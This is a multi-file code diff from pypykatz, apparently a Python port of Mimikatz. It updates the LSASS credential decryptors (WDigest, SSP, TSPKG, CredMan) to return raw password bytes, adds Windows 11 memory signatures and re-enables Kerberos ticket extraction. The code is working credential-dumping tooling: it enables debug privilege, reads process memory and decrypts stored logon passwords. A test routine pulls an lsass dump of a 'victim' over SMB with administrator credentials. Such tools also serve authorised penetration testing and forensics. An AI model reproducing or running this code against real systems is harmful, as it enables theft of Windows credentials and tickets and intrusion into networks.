2033 res.Length = await ULONG.loadvalue(reader)
2034 await reader.align()
2035 res.Value = await PVOID.load(reader)
2036 return res
1212 self.username = None
1313 self.domainname = None
1414 self.password = None
15 self.password_raw = b''
1516 self.luid = None
1617
1718 def to_dict(self):
2021 t['username'] = self.username
2122 t['domainname'] = self.domainname
2223 t['password'] = self.password
24 t['password_raw'] = self.password_raw
2325 t['luid'] = self.luid
2426 return t
2527 def to_json(self):
3032 t += '\tusername %s\n' % self.username
3133 t += '\tdomainname %s\n' % self.domainname
3234 t += '\tpassword %s\n' % self.password
35 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3336 return t
3437
3538 class LiveSspDecryptor(PackageDecryptor):
5558 if suppCreds.credentials.Password.Length != 0:
5659 enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader)
5760 if c.username.endswith('$') is True:
58 c.password = self.decrypt_password(enc_data, bytes_expected=True)
61 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
5962 if c.password is not None:
6063 c.password = c.password.hex()
6164 else:
62 c.password = self.decrypt_password(enc_data)
65 c.password, c.password_raw = self.decrypt_password(enc_data)
6366
6467 self.credentials.append(c)
6568
1313
1414 class MsvCredential:
1515 def __init__(self):
16 self.credtype = 'msv'
1617 self.username = None
1718 self.domainname = None
1819 self.NThash = None
3031 t['LMHash'] = self.LMHash
3132 t['SHAHash'] = self.SHAHash
3233 t['DPAPI'] = self.DPAPI
34 t['isoProt'] = self.isoProt
3335 return t
3436
3537 def to_json(self):
5153 self.luid = None
5254 self.username = None
5355 self.password = None
56 self.password_raw = b''
5457 self.domainname = None
5558
5659 def to_dict(self):
5962 t['username'] = self.username
6063 t['domainname'] = self.domainname
6164 t['password'] = self.password
65 t['password_raw'] = self.password_raw
6266 t['luid'] = self.luid
6367 return t
6468
7175 t += '\t\tusername %s\n' % self.username
7276 t += '\t\tdomain %s\n' % self.domainname
7377 t += '\t\tpassword %s\n' % self.password
78 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
7479 return t
7580
7681
332337 if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
333338 enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
334339 if c.username.endswith('$') is True:
335 c.password = self.decrypt_password(enc_data, bytes_expected=True)
340 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
336341 if c.password is not None:
337342 c.password = c.password.hex()
338343 else:
339 c.password = self.decrypt_password(enc_data)
344 c.password, c.password_raw = self.decrypt_password(enc_data)
340345
341346 c.luid = self.current_logonsession.luid
342347
352357
353358 self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
354359 self.log('Decrypting credential structure')
355 dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
360 dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
356361 self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
357362
358363 struct_reader = AGenericReader(dec_data, self.sysinfo.architecture)
115115 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74'
116116 template.first_entry_offset = 23
117117 template.offset2 = -4
118
119 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
120 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
121 template.first_entry_offset = 23
122 template.offset2 = -4
118123
119124 else:
120 #1903
121 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
122 template.first_entry_offset = 23
125 #win11
126 template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74'
127 template.first_entry_offset = 24
123128 template.offset2 = -4
124129
125130 elif sysinfo.architecture == KatzSystemArchitecture.X86:
1313 self.username = None
1414 self.domainname = None
1515 self.password = None
16 self.password_raw = b''
1617 self.luid = None
1718
1819 def to_dict(self):
2122 t['username'] = self.username
2223 t['domainname'] = self.domainname
2324 t['password'] = self.password
25 t['password_raw'] = self.password_raw
2426 t['luid'] = self.luid
2527 return t
2628
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class SspDecryptor(PackageDecryptor):
5356 c.domainname = await ssp_entry.credentials.UserName.read_string(self.reader)
5457 if ssp_entry.credentials.Password.Length != 0:
5558 if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
56 enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
57 c.password = self.decrypt_password(enc_data, bytes_expected=True)
59 enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader)
60 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
5861 if c.password is not None:
5962 c.password = c.password.hex()
6063 else:
61 enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
62 c.password = self.decrypt_password(enc_data)
64 enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader)
65 c.password, c.password_raw = self.decrypt_password(enc_data)
6366
6467 if c.username == '' and c.domainname == '' and c.password is None:
6568 return
1515 self.username = None
1616 self.domainname = None
1717 self.password = None
18 self.password_raw = b''
1819 self.luid = None
1920
2021 def to_dict(self):
2324 t['username'] = self.username
2425 t['domainname'] = self.domainname
2526 t['password'] = self.password
27 t['password_raw'] = self.password_raw
2628 t['luid'] = self.luid
2729 return t
30
2831 def to_json(self):
2932 return json.dumps(self.to_dict())
3033
3336 t += '\t\tusername %s\n' % self.username
3437 t += '\t\tdomainname %s\n' % self.domainname
3538 t += '\t\tpassword %s\n' % self.password
39 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3640 return t
3741
3842 class TspkgDecryptor(PackageDecryptor):
8286 if primary_credential.credentials.Password.Length != 0:
8387 enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader)
8488 if c.username.endswith('$') is True:
85 c.password = self.decrypt_password(enc_data, bytes_expected=True)
89 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
8690 if c.password is not None:
8791 c.password = c.password.hex()
8892 else:
89 c.password = self.decrypt_password(enc_data)
93 c.password, c.password_raw = self.decrypt_password(enc_data)
9094
9195 self.credentials.append(c)
1414 self.username = None
1515 self.domainname = None
1616 self.password = None
17 self.password_raw = b''
1718 self.luid = None
1819
1920 def to_dict(self):
2223 t['username'] = self.username
2324 t['domainname'] = self.domainname
2425 t['password'] = self.password
26 t['password_raw'] = self.password_raw
2527 t['luid'] = self.luid
2628 return t
2729 def to_json(self):
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class WdigestDecryptor(PackageDecryptor):
6467 wc.domainname = await DomainName.read_string(self.reader)
6568 wc.encrypted_password = await Password.read_maxdata(self.reader)
6669 if wc.username.endswith('$') is True:
67 wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
70 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
6871 if wc.password is not None:
6972 wc.password = wc.password.hex()
7073 else:
71 wc.password = self.decrypt_password(wc.encrypted_password)
74 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password)
7275
7376 if wc.username == '' and wc.domainname == '' and wc.password is None:
7477 return
55
66 #import io
77 #from minidump.win_datatypes import *
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
99 from pypykatz.alsadecryptor.win_datatypes import LUID, ULONG, POINTER
1010 from pypykatz.alsadecryptor.package_commons import PackageTemplate
1111
6969 template.primary_offset = 32
7070 template.list_entry = PWdigestListEntry
7171
72 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
72 elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
7373 template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
7474 template.first_entry_offset = -6
7575 template.primary_offset = 32
1515 LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \
1616 TspkgDecryptor, TspkgTemplate, \
1717 DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\
18 CloudapDecryptor
19 #KerberosTemplate, KerberosDecryptor,
18 CloudapDecryptor, KerberosTemplate, KerberosDecryptor
2019 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
2120 from pypykatz import logger
2221 from pypykatz.commons.common import UniversalEncoder
7574 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
7675 res += ':'.join(x) + '\r\n'
7776
78 for pkg, err in self.errors:
79 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
80 err_str = base64.b64encode(err_str.encode()).decode()
81 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str]
82 res += ':'.join(x) + '\r\n'
77 for pkg, err in self.errors:
78 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
79 err_str = base64.b64encode(err_str.encode()).decode()
80 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str]
81 res += ':'.join(x) + '\r\n'
8382
8483 return res
8584
238237 else:
239238 self.orphaned_creds.append(cred)
240239
241 #async def get_kerberos(self, with_tickets = True):
242 # dec_template = KerberosTemplate.get_template(self.sysinfo)
243 # dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
244 # await dec.start()
245 # for cred in dec.credentials:
246 # for ticket in cred.tickets:
247 # for fn in ticket.kirbi_data:
248 # self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native)
249 #
250 # if cred.luid in self.logon_sessions:
251 # self.logon_sessions[cred.luid].kerberos_creds.append(cred)
252 # else:
253 # self.orphaned_creds.append(cred)
240 async def get_kerberos(self, with_tickets = True):
241 dec_template = KerberosTemplate.get_template(self.sysinfo)
242 dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
243 await dec.start()
244 for cred in dec.credentials:
245 for ticket in cred.tickets:
246 for fn in ticket.kirbi_data:
247 self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native)
248
249 if cred.luid in self.logon_sessions:
250 self.logon_sessions[cred.luid].kerberos_creds.append(cred)
251 else:
252 self.orphaned_creds.append(cred)
254253
255254 async def get_cloudap(self):
256255 cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo)
280279 except Exception as e:
281280 self.errors.append(('wdigest', e))
282281
283 #if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages:
284 # with_tickets = False
285 # if 'ktickets' in packages or 'all' in packages:
286 # with_tickets = True
287 # await self.get_kerberos(with_tickets)
282 if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages:
283 with_tickets = False
284 if 'ktickets' in packages or 'all' in packages:
285 with_tickets = True
286 await self.get_kerberos(with_tickets)
288287
289288 if 'tspkg' in packages or 'all' in packages:
290289 try:
317316 self.errors.append(('cloudap', e))
318317
319318 async def amain():
320 from aiosmb.commons.connection.url import SMBConnectionURL
319 from aiosmb.commons.connection.factory import SMBConnectionFactory
321320 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
322321
323322 import sys
325324 print(f)
326325
327326 url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'
328 smburl = SMBConnectionURL(url)
327 smburl = SMBConnectionFactory.from_url(url)
329328 connection = smburl.get_connection()
330329 smbfile = smburl.get_file()
331330
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
50 import traceback
61 import enum
72 import json
83 import datetime
4
95 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
106
117 def geterr(err:Exception):
359355 WIN_10_1803 = 17134
360356 WIN_10_1809 = 17763
361357 WIN_10_1903 = 18362
358 WIN_10_1909 = 18363
359 WIN_10_2004 = 19041
360 WIN_10_20H2 = 19042
361 WIN_11_2022 = 20348
362362
363363 class WindowsMinBuild(enum.Enum):
364364 WIN_XP = 2500
368368 WIN_8 = 8000
369369 WIN_BLUE = 9400
370370 WIN_10 = 9800
371 WIN_11 = 22000
371372
372373
373374 def hexdump( src, length=16, sep='.', start = 0):
380381 @note Full support for python2 and python3 !
381382 '''
382383 result = []
384 if src is None:
385 return ''
383386
384387 # Python3 support
385388 try:
157157 kt.TicketEncType = kerberos_ticket.TicketEncType
158158 kt.TicketKvno = kerberos_ticket.TicketKvno
159159 kt.Ticket = kerberos_ticket.Ticket.read(reader)
160
161 kirbi = kt.to_asn1()
162 kt.kirbi_data[kt.generate_filename()] = kirbi
163
164 return kt
165
166 @staticmethod
167 async def aparse(kerberos_ticket, reader, sysinfo, type = None):
168 kt = KerberosTicket()
169 kt.type = type
170 x = await kerberos_ticket.ServiceName.read(reader)
171 kt.ServiceName_type = x.NameType
172 x = await kerberos_ticket.ServiceName.read(reader)
173 kt.ServiceName = await x.read(reader)
174 kt.DomainName = await kerberos_ticket.DomainName.read_string(reader)
175 x = await kerberos_ticket.TargetName.read(reader)
176 if x:
177 y = await kerberos_ticket.TargetName.read(reader)
178 kt.ETargetName = await y.read(reader)
179 y = await kerberos_ticket.TargetName.read(reader)
180 kt.ETargetName_type = y.NameType
181 kt.TargetDomainName = await kerberos_ticket.TargetDomainName.read_string(reader)
182 x = await kerberos_ticket.ClientName.read(reader)
183 kt.EClientName = await x.read(reader)
184 x = await kerberos_ticket.ClientName.read(reader)
185 kt.EClientName_type = x.NameType
186 kt.AltTargetDomainName = await kerberos_ticket.AltTargetDomainName.read_string(reader)
187 kt.Description = await kerberos_ticket.Description.read_string(reader)
188
189 kt.StartTime = filetime_to_dt(kerberos_ticket.StartTime)
190 kt.EndTime = filetime_to_dt(kerberos_ticket.EndTime)
191 if kerberos_ticket.RenewUntil == 0:
192 kt.RenewUntil = datetime.datetime(1970, 1, 1, 0, 0, tzinfo=datetime.timezone.utc)
193 else:
194 kt.RenewUntil = filetime_to_dt(kerberos_ticket.RenewUntil)
195
196 kt.KeyType = kerberos_ticket.KeyType
197 kt.Key = await kerberos_ticket.Key.read(reader)
198 kt.session_key = KerberosSessionKey.parse(kerberos_ticket.Key, sysinfo)
199
200 kt.TicketFlags = kerberos_ticket.TicketFlags
201 kt.TicketEncType = kerberos_ticket.TicketEncType
202 kt.TicketKvno = kerberos_ticket.TicketKvno
203 kt.Ticket = await kerberos_ticket.Ticket.read(reader)
160204
161205 kirbi = kt.to_asn1()
162206 kt.kirbi_data[kt.generate_filename()] = kirbi
2929
3030
3131 from .defines import *
32
33 STILL_ACTIVE = 259
34
35 WAIT_TIMEOUT = 0x102
36 WAIT_FAILED = -1
37 WAIT_OBJECT_0 = 0
38
3239
3340 PAGE_NOACCESS = 0x01
3441 PAGE_READONLY = 0x02
668675 _fields_ = (('Level', UCHAR),
669676 ('obj', UNION_PS_PROTECTION),
670677 )
678
679
680 # BOOL WINAPI GetExitCodeThread(
681 # __in HANDLE hThread,
682 # __out LPDWORD lpExitCode
683 # );
684 def GetExitCodeThread(hThread):
685 _GetExitCodeThread = windll.kernel32.GetExitCodeThread
686 _GetExitCodeThread.argtypes = [HANDLE, PDWORD]
687 _GetExitCodeThread.restype = bool
688 _GetExitCodeThread.errcheck = RaiseIfZero
689
690 lpExitCode = DWORD(0)
691 _GetExitCodeThread(hThread, byref(lpExitCode))
692 return lpExitCode.value
693
694 # DWORD WINAPI WaitForSingleObject(
695 # HANDLE hHandle,
696 # DWORD dwMilliseconds
697 # );
698 def WaitForSingleObject(hHandle, dwMilliseconds = INFINITE):
699 _WaitForSingleObject = windll.kernel32.WaitForSingleObject
700 _WaitForSingleObject.argtypes = [HANDLE, DWORD]
701 _WaitForSingleObject.restype = DWORD
702
703 if not dwMilliseconds and dwMilliseconds != 0:
704 dwMilliseconds = INFINITE
705 if dwMilliseconds != INFINITE:
706 r = _WaitForSingleObject(hHandle, dwMilliseconds)
707 if r == WAIT_FAILED:
708 raise ctypes.WinError()
709 else:
710 while 1:
711 r = _WaitForSingleObject(hHandle, 100)
712 if r == WAIT_FAILED:
713 raise ctypes.WinError()
714 if r != WAIT_TIMEOUT:
715 break
716 return r
0 import os
1 import sys
20 import ctypes
31 import enum
4 import logging
52
63 from pypykatz.commons.readers.local.common.kernel32 import *
74 from pypykatz.commons.readers.local.common.psapi import *
5 from pypykatz.commons.readers.local.common.version import *
86
97 class WindowsMinBuild(enum.Enum):
108 WIN_XP = 2500
1715
1816
1917 #utter microsoft bullshit commencing..
20 def getWindowsBuild():
21 class OSVersionInfo(ctypes.Structure):
22 _fields_ = [
23 ("dwOSVersionInfoSize" , ctypes.c_int),
24 ("dwMajorVersion" , ctypes.c_int),
25 ("dwMinorVersion" , ctypes.c_int),
26 ("dwBuildNumber" , ctypes.c_int),
27 ("dwPlatformId" , ctypes.c_int),
28 ("szCSDVersion" , ctypes.c_char*128)];
29 GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
30 version = OSVersionInfo()
31 version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
32 GetVersionEx( ctypes.byref(version) )
33 return version.dwBuildNumber
18 def getWindowsBuild():
19
20 version = GetVersionExA()
21 return version.dwBuildNumber
22
23 #class OSVersionInfo(ctypes.Structure):
24 # _fields_ = [
25 # ("dwOSVersionInfoSize" , ctypes.c_int),
26 # ("dwMajorVersion" , ctypes.c_int),
27 # ("dwMinorVersion" , ctypes.c_int),
28 # ("dwBuildNumber" , ctypes.c_int),
29 # ("dwPlatformId" , ctypes.c_int),
30 # ("szCSDVersion" , ctypes.c_char*128)];
31 #GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
32 #version = OSVersionInfo()
33 #version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
34 #GetVersionEx( ctypes.byref(version) )
35 #return version.dwBuildNumber
3436
3537 DELETE = 0x00010000
3638 READ_CONTROL = 0x00020000
4951
5052
5153 def QueryDosDevice(drive_letter):
52 buffer_length = 1024
53 buf = ctypes.create_unicode_buffer(buffer_length)
54 status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
55 if status == 0:
56 raise ctypes.WinError()
57 return buf.value
54 buffer_length = 1024
55 buf = ctypes.create_unicode_buffer(buffer_length)
56 status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
57 if status == 0:
58 raise ctypes.WinError()
59 return buf.value
5860
5961
6062 def get_drives():
61 drives = []
62 bitmask = windll.kernel32.GetLogicalDrives()
63 for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
64 if bitmask & 1:
65 drives.append(letter + ':')
66 bitmask >>= 1
67 return drives
63 drives = []
64 bitmask = windll.kernel32.GetLogicalDrives()
65 for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
66 if bitmask & 1:
67 drives.append(letter + ':')
68 bitmask >>= 1
69 return drives
6870
6971 def get_device_prefixes():
70 device_prefixes = {}
71 drives = get_drives()
72 for drive in drives:
73 device_prefixes[QueryDosDevice(drive)] = drive
74 return device_prefixes
72 device_prefixes = {}
73 drives = get_drives()
74 for drive in drives:
75 device_prefixes[QueryDosDevice(drive)] = drive
76 return device_prefixes
7577
7678 DEVICE_PREFIXES = get_device_prefixes()
7779
8688 # Get full normalized image path of a process using NtQuerySystemInformation
8789 # It doesn't need any special privileges
8890 def get_process_full_imagename(pid):
89 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
90 image_filename = ''
91 buf = ctypes.create_unicode_buffer(0x1000)
92 process_info = SYSTEM_PROCESS_ID_INFORMATION()
93 process_info.ProcessId = ctypes.c_void_p(pid)
94 process_info.ImageName.MaximumLength = len(buf)
95 process_info.ImageName.Buffer = addressof(buf)
96 status = _NtQuerySystemInformation(
97 SystemProcessIdInformation,
98 process_info,
99 sizeof(process_info),
100 None)
101 if status == STATUS_INFO_LENGTH_MISMATCH:
102 buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
103 process_info.ImageName.MaximumLength = len(buf)
104 process_info.ImageName.Buffer = addressof(buf)
105 status = _NtQuerySystemInformation(
106 SystemProcessIdInformation,
107 process_info,
108 sizeof(process_info),
109 None)
110 if status == 0:
111 image_filename = str(process_info.ImageName.Buffer)
112 if image_filename.startswith('\\Device\\'):
113 for win_path in DEVICE_PREFIXES:
114 if image_filename.startswith(win_path):
115 image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
116 else:
117 image_filename = 'N/A'
118 return image_filename
91 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
92 image_filename = ''
93 buf = ctypes.create_unicode_buffer(0x1000)
94 process_info = SYSTEM_PROCESS_ID_INFORMATION()
95 process_info.ProcessId = ctypes.c_void_p(pid)
96 process_info.ImageName.MaximumLength = len(buf)
97 process_info.ImageName.Buffer = addressof(buf)
98 status = _NtQuerySystemInformation(
99 SystemProcessIdInformation,
100 process_info,
101 sizeof(process_info),
102 None)
103 if status == STATUS_INFO_LENGTH_MISMATCH:
104 buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
105 process_info.ImageName.MaximumLength = len(buf)
106 process_info.ImageName.Buffer = addressof(buf)
107 status = _NtQuerySystemInformation(
108 SystemProcessIdInformation,
109 process_info,
110 sizeof(process_info),
111 None)
112 if status == 0:
113 image_filename = str(process_info.ImageName.Buffer)
114 if image_filename.startswith('\\Device\\'):
115 for win_path in DEVICE_PREFIXES:
116 if image_filename.startswith(win_path):
117 image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
118 else:
119 image_filename = 'N/A'
120 return image_filename
119121
120122 PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"]
121 PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa",
122 "Windows", "WinTcb", "WinSystem", "StoreApp"]
123 PS_PROTECTED_SIGNER_STRINGS = [
124 None, "Authenticode", "CodeGen", "Antimalware", "Lsa",
125 "Windows", "WinTcb", "WinSystem", "StoreApp"]
123126 PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"]
124127
125128 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
149152 return pid_to_name
150153
151154 def get_process_extended_basic_information(pid,process_handle=None):
152 process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
153 process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
154 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
155 if process_handle == None:
156 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
157
158 status = _NtQueryInformationProcess(process_handle,
159 ProcessBasicInformation,
160 byref(process_basic_info),
161 process_basic_info.Size,
162 None)
163 if status < 0:
164 raise ctypes.WinError()
165 CloseHandle(process_handle)
166 return process_basic_info
155 process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
156 process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
157 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
158 if process_handle == None:
159 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
160
161 status = _NtQueryInformationProcess(process_handle,
162 ProcessBasicInformation,
163 byref(process_basic_info),
164 process_basic_info.Size,
165 None)
166 if status < 0:
167 raise ctypes.WinError()
168 CloseHandle(process_handle)
169 return process_basic_info
167170
168171
169172 def get_protected_process_infos(pid,process_handle=None):
170 process_protection_infos = None
171 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
172 if process_handle == None:
173 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
174 if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
175 protection_info = PS_PROTECTION()
176 status = _NtQueryInformationProcess(process_handle,
177 ProcessProtectionInformation,
178 byref(protection_info),
179 sizeof(protection_info),
180 None)
181 if status < 0:
182 raise ctypes.WinError()
183 if protection_info.Type > 0:
184 process_protection_infos = {"level": protection_info.Level,
185 "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
186 "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
187 "audit": protection_info.Audit}
188 else:
189 _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
190 if _ps_extended_basic_information.IsProtectedProcess:
191 process_protection_infos = {"type": 'System protected process'}
192 CloseHandle(process_handle)
193 return process_protection_infos
173 process_protection_infos = None
174 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
175 if process_handle == None:
176 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
177 if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
178 protection_info = PS_PROTECTION()
179 status = _NtQueryInformationProcess(process_handle,
180 ProcessProtectionInformation,
181 byref(protection_info),
182 sizeof(protection_info),
183 None)
184 if status < 0:
185 raise ctypes.WinError()
186 if protection_info.Type > 0:
187 process_protection_infos = {"level": protection_info.Level,
188 "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
189 "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
190 "audit": protection_info.Audit}
191 else:
192 _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
193 if _ps_extended_basic_information.IsProtectedProcess:
194 process_protection_infos = {"type": 'System protected process'}
195 CloseHandle(process_handle)
196 return process_protection_infos
194197
195198 def get_lsass_pid():
199 return pid_for_name('lsass.exe')
200
201 def pid_for_name(process_name):
196202 pid_to_name = enum_process_names()
197203 for pid in pid_to_name:
198 if pid_to_name[pid].lower().endswith('lsass.exe'):
204 if pid_to_name[pid].lower().endswith(process_name):
199205 return pid
200206
201 raise Exception('Failed to find lsass.exe')
207 raise Exception('Failed to find %s' % process_name)
1111 from .common.fileinfo import *
1212 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
1313
14 import logging
14 from pypykatz import logger
1515 import sys
1616 import copy
1717 import platform
3333
3434 def inrange(self, addr):
3535 return self.baseaddress <= addr < self.endaddress
36
36
37 @staticmethod
3738 def parse(name, module_info, timestamp):
3839 m = Module()
3940 m.name = name
5758 self.EndAddress = None
5859
5960 self.data = None
60
61
62 @staticmethod
6163 def parse(page_info):
6264 p = Page()
6365 p.BaseAddress = page_info.BaseAddress
6769 p.EndAddress = page_info.BaseAddress + page_info.RegionSize
6870 return p
6971
70 def read_data(self, lsass_process_handle):
71 self.data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
72 def read_data(self, process_handle):
73 self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
7274
7375 def inrange(self, addr):
7476 return self.BaseAddress <= addr < self.EndAddress
7577
76 def search(self, pattern, lsass_process_handle):
78 def search(self, pattern, process_handle):
7779 if len(pattern) > self.RegionSize:
7880 return []
79 data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
81 data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
8082 fl = []
8183 offset = 0
8284 while len(data) > len(pattern):
8587 return fl
8688 fl.append(marker + offset + self.BaseAddress)
8789 data = data[marker+1:]
88 offset = marker + 1
90 offset += marker + 1
8991
9092 return fl
9193
115117 # not in cache, check if it's present in memory space. if yes then create a new buffered memeory object, and copy data
116118 for page in self.reader.pages:
117119 if page.inrange(requested_position):
118 page.read_data(self.reader.lsass_process_handle)
120 page.read_data(self.reader.process_handle)
119121 newsegment = copy.deepcopy(page)
120122 self.pages.append(newsegment)
121123 self.current_segment = newsegment
123125 return
124126
125127 raise Exception('Memory address 0x%08x is not in process memory space' % requested_position)
126
128
129 def get_reader(self):
130 return self.reader
131
127132 def seek(self, offset, whence = 0):
128133 """
129134 Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets.
264269
265270 return pos_s[0]
266271
267 def find_all_global(self, pattern):
272 def find_all_global(self, pattern, allocationprotect = 0x04):
268273 """
269274 Searches for the pattern in the whole process memory space and returns a list of addresses where the pattern begins.
270275 This is exhaustive!
271276 """
272 return self.reader.search(pattern)
277 return self.reader.search(pattern, allocationprotect = allocationprotect)
273278
274279 def get_ptr(self, pos):
275280 self.move(pos)
288293
289294 def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False):
290295 t = self.reader.search_module(module_name, pattern, find_first = find_first, reverse_order = reverse_order)
291 return t
296 return t
292297
293298
294299 class LiveReader:
295 def __init__(self, lsass_process_handle = None):
300 def __init__(self, process_handle = None, process_name='lsass.exe', process_pid = None):
296301 self.processor_architecture = None
297 self.lsass_process_name = 'lsass.exe'
298 self.lsass_process_handle = lsass_process_handle
302 self.process_name = process_name
303 self.process_handle = process_handle
304 self.process_pid = process_pid
299305 self.current_position = None
300306 self.BuildNumber = None
301307 self.modules = []
321327 if is_windows_64 != is_python_64:
322328 raise Exception('Python interpreter must be the same architecure of the OS you are running it on.')
323329
324
325
326
327
328330 def setup(self):
329 logging.log(1, 'Enabling debug privilege')
331 logger.log(1, 'Enabling debug privilege')
330332 enable_debug_privilege()
331 logging.log(1, 'Getting generic system info')
333 logger.log(1, 'Getting generic system info')
332334 sysinfo = GetSystemInfo()
333335 self.processor_architecture = PROCESSOR_ARCHITECTURE(sysinfo.id.w.wProcessorArchitecture)
334336
335 logging.log(1, 'Getting build number')
337 logger.log(1, 'Getting build number')
